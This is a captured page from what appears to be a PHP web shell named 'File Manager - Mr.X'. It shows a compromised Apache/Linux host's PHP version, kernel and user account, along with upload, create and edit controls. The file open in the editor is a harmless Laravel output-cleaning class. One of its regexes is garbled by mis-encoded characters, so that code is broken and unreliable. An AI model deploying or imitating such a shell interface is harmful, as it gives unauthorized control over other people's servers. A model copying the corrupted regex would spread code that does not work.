π€© File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:OutputCleaner.php
<?php declare(strict_types=1); namespace Laravel\Pao; /** * @internal * * @codeCoverageIgnore */ final class OutputCleaner { public static function clean(string $output): string { $output = (string) preg_replace('/\e\[[0-9;]*[A-Za-z]/', '', $output); $output = (string) preg_replace('/[\x00-\x09\x0B\x0C\x0E-\x1F\x7F]/', '', $output); $output = (string) preg_replace('/\x{FFFD}/u', '', $output); $output = (string) preg_replace('/[βββββββββ€β¬β΄βΌββββββββββ β£β¦β©β¬ββΆβΊβ βββββ βͺββββββ¨―β]+/u', '', $output); $output = (string) preg_replace('/\.{3,}/', '..', $output); $output = (string) preg_replace('/[ \t]+/', ' ', $output); return (string) preg_replace('/\n\s*\n/', "\n", $output); } }
Save Changes
Cancel
Create New File
Create New Folder